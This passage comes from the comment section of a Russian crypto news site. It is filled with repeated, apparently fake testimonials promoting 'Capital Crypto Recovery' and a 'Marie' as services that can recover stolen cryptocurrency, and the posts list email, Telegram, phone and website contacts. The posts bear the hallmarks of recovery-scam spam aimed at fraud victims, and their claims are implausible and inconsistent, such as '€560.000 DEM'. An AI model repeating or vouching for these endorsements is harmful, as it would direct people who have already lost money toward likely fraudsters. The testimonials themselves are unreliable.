techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация

Похожие новости

Есть вопросы?
С вами на связи 24/7
Поддержка 24/7 Help Icon
Менеджер онлайн Help Icon
Help Icon